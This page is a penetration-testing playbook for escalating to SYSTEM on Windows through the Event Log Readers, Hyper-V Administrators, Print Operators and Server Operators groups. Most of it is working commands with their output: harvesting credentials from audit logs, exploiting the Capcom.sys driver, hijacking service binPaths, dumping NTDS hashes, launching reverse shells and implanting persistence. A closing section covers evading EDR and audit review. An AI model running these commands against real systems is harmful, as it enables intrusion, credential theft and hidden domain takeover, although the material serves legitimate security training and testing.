Skip to content

Other Privileged Groups

Four built-in Windows groups grant escalation primitives that are easy to miss: Event Log Readers can read command-line audit logs that leak credentials passed as process arguments; Hyper-V Administrators can manipulate .vhdx files in ways the VMMS service mishandles, leading to SYSTEM; Print Operators hold SeLoadDriverPrivilege which loads the vulnerable Capcom.sys driver for SYSTEM shellcode execution; Server Operators have full control of every Windows service and can rewrite any service’s binPath to execute attacker commands as SYSTEM.

# Event Log Readers - mine 4688 events for credentials
wevtutil qe Security /rd:true /f:text | findstr "/user"
# Hyper-V Administrators - hardlink VHDX delete attack
.\hyperv-eop.ps1 # decoder-it PoC
# Print Operators - SeLoadDriverPrivilege + Capcom.sys
EoPLoadDriver.exe System\CurrentControlSet\Capcom C:\Tools\Capcom.sys
ExploitCapcom.exe
# Server Operators - service binPath takeover
sc config AppReadiness binPath= "cmd /c net localgroup Administrators srv_adm /add"
sc start AppReadiness

Success indicator: SYSTEM shell, new local admin user, or credentials extracted from audit logs.

Members of BUILTIN\Event Log Readers can read the Windows event log, including the Security log where audit events live. The escalation surface depends on what’s audited. When Audit Process Creation with Include command line in process creation events is enabled (event ID 4688), every process launch is logged with its full command line. Many Windows utilities accept credentials as arguments:

net use T: \\fs01\backups /user:bjones MySecretP@ss
schtasks /create /tn job /ru DOMAIN\svcacct /rp Pa$$word /tr cmd.exe
runas /user:DOMAIN\admin /savecred cmd
psexec.exe \\target -u admin -p Password cmd

If any of these run periodically on the host (scheduled tasks, login scripts, vendor-installed services), their command lines sit in the Security log as plaintext credential leaks.

Terminal window
C:\> whoami /groups | findstr "Event Log Readers"
BUILTIN\Event Log Readers Alias S-1-5-32-573 Mandatory group, Enabled by default

Or list members of the local group:

Terminal window
C:\> net localgroup "Event Log Readers"
Alias name Event Log Readers
Comment Members of this group can read event logs from local machine
Members
-------------------------------------------------------------------------------
logger

Two interfaces: wevtutil (works from any context with Event Log Readers rights) and Get-WinEvent (PowerShell - but querying Security log via the PS cmdlet often requires additional permissions on the underlying registry key beyond Event Log Readers membership).

Terminal window
C:\> wevtutil qe Security /rd:true /f:text | findstr /i "/user:"
Process Command Line: net use T: \\fs01\backups /user:bjones MySecretP@ss
Process Command Line: schtasks /create /tn backupjob /ru DOMAIN\svc_backup /rp Backup2024! /tr "robocopy ..."

The qe subcommand queries events; Security is the log name; /rd:true reads in reverse chronological order (newest first); /f:text formats as readable text. The pipe through findstr filters for credential indicators.

Beyond /user: and /password:, useful filter patterns:

Terminal window
C:\> wevtutil qe Security /rd:true /f:text | findstr /i "password\|/pass:\|/pwd:\|/p:"

Vendor-specific patterns:

  • sqlcmd.exe -S server -U user -P password
  • osql.exe -E -S server or osql -U user -P password
  • mysql.exe -u user --password=password
  • psql.exe ... PGPASSWORD=...
  • cmdkey /generic:target /user:user /pass:password
  • mstsc.exe /v:target /u:user /p:password

wevtutil can query remote machines if the Event Log Reader rights are domain-pushed:

Terminal window
C:\> wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"

/r: specifies remote computer; /u: and /p: provide credentials for that connection.

Terminal window
PS> Get-WinEvent -LogName security | Where-Object { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*' } | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

The 4688 event has the command line in property index 8 (zero-based). The filter restricts to events where that property contains /user. Note: this often requires admin context - Event Log Readers alone isn’t always sufficient for Get-WinEvent against Security on modern Windows.

The credentials harvested by this method are whatever the host’s audit log captured since the log rolled. Default Security log size is 20 MB on workstations and 128 MB on servers; busy hosts roll the log within hours, quiet hosts retain weeks of history. Run the harvest early in the engagement to maximize coverage.

BUILTIN\Hyper-V Administrators grants full management of Hyper-V VMs and virtual hard disks (.vhdx files). The escalation comes from how vmms.exe (the Hyper-V Virtual Machine Management Service) handles file operations on VHDX files - specifically the restore-permissions step on VM delete, which vmms.exe performs as SYSTEM without impersonating the caller.

The pattern, originally documented by decoder-it:

  1. Identify a target file owned by TrustedInstaller or another high-privilege principal that the operator wants to overwrite - typically a SYSTEM-context service binary the operator can later launch (e.g., C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe).
  2. Create a VM with a VHDX file at a path the operator controls.
  3. Delete the VHDX file from the filesystem.
  4. Create a hardlink at the VHDX path pointing to the target file.
  5. Trigger Hyper-V’s “delete VM” operation. vmms.exe walks the VM’s files and tries to restore default permissions on each - including the hardlinked path. Because it doesn’t follow the hardlink correctly and operates as SYSTEM, the target file gets its ACL rewritten with the operator’s user granted Full Control.
  6. The operator now has write access to the target service binary. Overwrite it with malicious code and trigger the service.

decoder-it/Hyper-V-admin-EOP contains a PowerShell PoC hyperv-eop.ps1 that automates the hardlink-and-trigger steps.

Terminal window
PS> .\hyperv-eop.ps1

After execution, the target file’s ACL grants the current user Full Control. Take ownership and overwrite:

Terminal window
C:\> takeown /F "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
C:\> copy /Y malicious.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
C:\> sc.exe start MozillaMaintenance

The maintenance service runs as SYSTEM and is startable by unprivileged users, so the malicious binary executes as SYSTEM.

Any service binary running as SYSTEM with a non-protected binary path and a start trigger accessible to the operator works. Common candidates:

  • Mozilla Maintenance Service - MozillaMaintenance service, runs as SYSTEM, startable by users when Firefox is installed
  • Google Update Service - gupdate / gupdatem, similar properties when Chrome is installed
  • Adobe Updater - when Adobe products are installed

Verify the service’s start permissions before counting on it:

Terminal window
C:\> sc sdshow MozillaMaintenance

Look for the user’s SID with RP (SERVICE_START) rights.

This vector was mitigated by Windows security updates in March 2020, which changed how hard links are handled by VMMS. On fully-patched current Windows it doesn’t work. On Server 2016 / 2019 deployments that haven’t received the March 2020 quality rollup it still does. Verify patch level first:

Terminal window
C:\> wmic qfe list brief | findstr 2020

KBs from March 2020 or later mitigate the issue. If the host’s hotfixes are older, the vector is viable.

If the host runs a virtualized Domain Controller, Hyper-V Administrators can clone the running VM, mount the cloned VHDX offline, and copy out NTDS.dit and the registry hives without any of the diskshadow / SeBackupPrivilege machinery. The clone process doesn’t trigger Windows DC-protection signals because it operates at the hypervisor level. This is the canonical reason “virtualization admins should be treated as Domain Admins” - they can extract the AD database without any AD-visible action.

BUILTIN\Print Operators grants SeLoadDriverPrivilege, the right to load kernel drivers. Together with SeShutdownPrivilege (also held) and login-locally-to-DC rights, this group is functionally equivalent to local SYSTEM on a DC.

The escalation primitive: load the Capcom.sys driver (a Capcom-shipped, legitimately-signed driver that contained a deliberate kernel-shellcode-execution function - originally a Capcom anti-cheat mechanism, accidentally a textbook privesc) and use its functionality to execute attacker shellcode in kernel context.

From a default cmd shell, whoami /priv may not show SeLoadDriverPrivilege because UAC restricts the displayed privileges to those active in the current token. Open an elevated cmd via Run-as → enter Print Operators member credentials, then check again:

Terminal window
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================== ==========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

SeLoadDriverPrivilege is held but Disabled. The exploit tooling enables it programmatically.

The driver location lookup goes through HKCU\System\CurrentControlSet rather than HKLM\System\CurrentControlSet - this is the trick that makes Print Operators able to load drivers without registry write to HKLM (which they don’t have). The Windows driver load API consults the per-user registry root when called from a user-mode process holding SeLoadDriverPrivilege.

Add the registry pointers:

Terminal window
C:\> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
The operation completed successfully.
C:\> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
The operation completed successfully.

The \??\ prefix is an NT Object Manager path used by the driver loader - required syntax, not optional.

Drop Capcom.sys to the path specified (C:\Tools\Capcom.sys). The driver is available from various sources including the original Capcom repository.

The EnableSeLoadDriverPrivilege tool enables the privilege and calls NtLoadDriver against the registered key:

Terminal window
C:\> EnableSeLoadDriverPrivilege.exe
whoami:
INLANEFREIGHT\printsvc
whoami /priv
SeMachineAccountPrivilege Disabled
SeLoadDriverPrivilege Enabled
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled by default
SeIncreaseWorkingSetPrivilege Disabled
NTSTATUS: 00000000, WinError: 0

NTSTATUS: 00000000 (zero is success) confirms the driver loaded. Verify with a driver-listing tool:

Terminal window
PS> .\DriverView.exe /stext drivers.txt
PS> cat drivers.txt | Select-String -pattern Capcom
Driver Name : Capcom.sys
Filename : C:\Tools\Capcom.sys

With Capcom.sys loaded, use ExploitCapcom to invoke the driver’s IOCTL that executes attacker shellcode in kernel mode. The default ExploitCapcom payload steals the SYSTEM token and assigns it to a cmd.exe:

Terminal window
PS> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched

A new console window opens running as SYSTEM.

For non-RDP contexts, modify ExploitCapcom’s source (line 292) to launch a reverse shell binary instead of cmd.exe:

TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");

Generate the revshell with msfvenom, drop to C:\ProgramData\, recompile ExploitCapcom, run it. The shellcode now spawns the reverse shell with the stolen SYSTEM token; the listener catches a SYSTEM shell.

EoPLoadDriver handles the privilege-enable, registry-add, and driver-load steps in one binary:

Terminal window
C:\> EoPLoadDriver.exe System\CurrentControlSet\Capcom C:\Tools\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom
NTSTATUS: c000010e, WinError: 0

NTSTATUS: c000010e is STATUS_IMAGE_ALREADY_LOADED - the driver is already loaded from a previous run. Either status (success or already-loaded) means proceed to ExploitCapcom.exe.

Terminal window
C:\> reg delete HKCU\System\CurrentControlSet\Capcom
Permanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? Y
The operation completed successfully.

Driver unload requires SYSTEM context - but the operator now has it.

Since Windows 10 Version 1803, NtLoadDriver no longer resolves \??\<path> references through HKEY_CURRENT_USER - the registry key must live under HKEY_LOCAL_MACHINE, which Print Operators can’t write. On 1803+ this specific Capcom path doesn’t work directly.

Workarounds:

  • On Print Operators contexts on older Windows (Server 2016 RTM, 1709, Windows 7/Server 2008/R2) the technique still works as documented
  • Other vulnerable signed drivers exist for newer Windows; the technique generalizes to “load a known-vulnerable signed driver via SeLoadDriverPrivilege”
  • KDU (Kernel Driver Utility) maintains a catalog of vulnerable signed drivers usable for kernel-mode escalation

BUILTIN\Server Operators is the highest-impact of the four groups. Members can:

  • Log on locally to Domain Controllers
  • Manage services on the host (start, stop, and reconfigure)
  • Back up and restore files (holds SeBackupPrivilege and SeRestorePrivilege)
  • Format the hard drive
  • Shut down the system

The service-reconfiguration right is the easy path: rewrite any service’s binPath to run an attacker command, restart the service, the command executes as SYSTEM.

Terminal window
C:\> whoami /groups | findstr "Server Operators"
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default

Any service running as LocalSystem works. The AppReadiness service is a common pick because it’s always present, infrequently used, and so its temporary failure doesn’t break anything critical.

Terminal window
C:\> sc qc AppReadiness
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AppReadiness
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\System32\svchost.exe -k AppReadiness -p
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : App Readiness
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

SERVICE_START_NAME: LocalSystem confirms the service runs as SYSTEM. START_TYPE: 3 DEMAND_START means it’s not started automatically - the operator starts it on demand to trigger the payload.

Confirming Server Operators rights on the service

Section titled “Confirming Server Operators rights on the service”
Terminal window
C:\> PsService.exe security AppReadiness
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com
SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness
ACCOUNT: LocalSystem
SECURITY:
[ALLOW] NT AUTHORITY\SYSTEM
Query status
...
[ALLOW] BUILTIN\Administrators
All
[ALLOW] NT AUTHORITY\INTERACTIVE
...
[ALLOW] NT AUTHORITY\SERVICE
...
[ALLOW] BUILTIN\Server Operators
All

BUILTIN\Server Operators: All is the indicator - SERVICE_ALL_ACCESS, including the right to change the binary path.

Terminal window
C:\> sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
[SC] ChangeServiceConfig SUCCESS

The space after binPath= is required - sc parses key=value with a literal space separator. Without the space, sc reports a syntax error.

The command can be anything:

  • Add a user to local admins: cmd /c net localgroup Administrators newuser /add
  • Add a domain user to local admins: cmd /c net localgroup Administrators DOMAIN\user /add
  • Add to Domain Admins (only from a DC): cmd /c net group "Domain Admins" newuser /add /domain
  • Run a reverse shell binary: cmd /c c:\windows\temp\rev.exe
  • Add a scheduled task: cmd /c schtasks /create /tn persist /tr c:\windows\temp\implant.exe /sc onlogon /ru SYSTEM
Terminal window
C:\> sc start AppReadiness
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

The service fails to start - that’s expected. The binPath no longer points at a service binary, so the SCM can’t establish a service-control connection. But before that failure happens, the SCM executed the command as SYSTEM. Verify:

Terminal window
C:\> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
server_adm ← new
The command completed successfully.

server_adm is now local Administrator. From there:

Terminal window
$ nxc smb 10.129.43.9 -u server_adm -p 'HTB_@cademy_stdnt!'
SMB 10.129.43.9 445 WINLPE-DC01 [*] Windows 10.0 Build 17763
SMB 10.129.43.9 445 WINLPE-DC01 [+] INLANEFREIGHT.LOCAL\server_adm:HTB_@cademy_stdnt! (Pwn3d!)

If the target service runs on a DC (Server Operators can log on to DCs by default), local admin on the DC enables NTDS.dit dump via secretsdump.py:

Terminal window
$ secretsdump.py [email protected] -just-dc-user administrator
Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
...

Pass-the-hash with the Administrator NT hash gives unconstrained domain access.

Restore the original binPath and start the service properly:

Terminal window
C:\> sc config AppReadiness binPath= "C:\Windows\System32\svchost.exe -k AppReadiness -p"
[SC] ChangeServiceConfig SUCCESS
C:\> sc start AppReadiness

If the new admin user was created, remove it:

Terminal window
C:\> net localgroup Administrators server_adm /delete

Operational considerations across all four groups

Section titled “Operational considerations across all four groups”

Roughly in order from quietest to loudest:

  1. Event Log Readers - read-only operation. No state changes. Only telemetry is event-log-read events (4798/4799), which are rarely audited.
  2. Hyper-V Administrators - file operations on VHDX, VM management API calls. Visible to Hyper-V audit logs but rarely correlated with privesc.
  3. Print Operators - driver load is a kernel-level operation logged extensively (Sysmon event 6, security event 4697 for new services). Capcom.sys specifically is signatured by EDR.
  4. Server Operators - service-configuration changes generate event 7040 (service start type changed) and event 7045 (new service installed if binPath rewrite is treated as such). Highly visible.
  • For Server Operators specifically, restore the original binPath immediately after the failed start - the audit log records both the change and the restore, but a casual review may see only the original config.
  • For Hyper-V, perform the action during scheduled maintenance windows when VM operations are expected.
  • For Print Operators, use a less-signatured vulnerable driver than Capcom.sys (the KDU catalog lists alternatives).
  • For Event Log Readers, the read pattern itself is normal admin behavior; no special evasion needed beyond avoiding obvious filter patterns.
GroupPrimitiveKey command
Event Log ReadersAudit log miningwevtutil qe Security /rd:true /f:text | findstr "/user:"
Event Log ReadersRemote querywevtutil qe Security /r:HOST /u:USER /p:PASS /f:text
Hyper-V AdminsVHDX hardlink → service binary takeover.\hyperv-eop.ps1
Hyper-V AdminsVerify patch levelwmic qfe list brief | findstr 2020
Hyper-V AdminsDC virtualization cloneHyper-V console → clone running DC VM → mount cloned VHDX offline
Print OperatorsLoad Capcom.sys (manual)reg add HKCU\System\CurrentControlSet\CAPCOM + EnableSeLoadDriverPrivilege.exe
Print OperatorsLoad Capcom.sys (automated)EoPLoadDriver.exe System\CurrentControlSet\Capcom C:\Tools\Capcom.sys
Print OperatorsVerify driver loadedDriverView.exe /stext drivers.txt | Select-String Capcom
Print OperatorsExecute SYSTEM payloadExploitCapcom.exe
Print OperatorsModern alternativeKDU + alternative vulnerable signed driver
Server OperatorsFind target servicesc qc AppReadiness - confirm SERVICE_START_NAME: LocalSystem
Server OperatorsVerify rightsPsService.exe security SERVICENAME
Server OperatorsRewrite binPath (add admin)sc config SVC binPath= "cmd /c net localgroup Administrators USER /add"
Server OperatorsRewrite binPath (revshell)sc config SVC binPath= "cmd /c C:\Windows\Temp\rev.exe"
Server OperatorsTriggersc start SVC (will fail; payload runs anyway)
Server OperatorsRestoresc config SVC binPath= "ORIGINAL_PATH"
Server Operators → DC compromiseAfter local admin on DCsecretsdump.py USER@DC -just-dc

For other privilege/group escalation paths in this cluster, see Backup Operators, DnsAdmins, SeImpersonate, SeDebugPrivilege, SeTakeOwnership. For OS-level escalation paths (UAC bypass, weak service ACLs, kernel exploits) and credential hunting techniques, see subsequent rounds.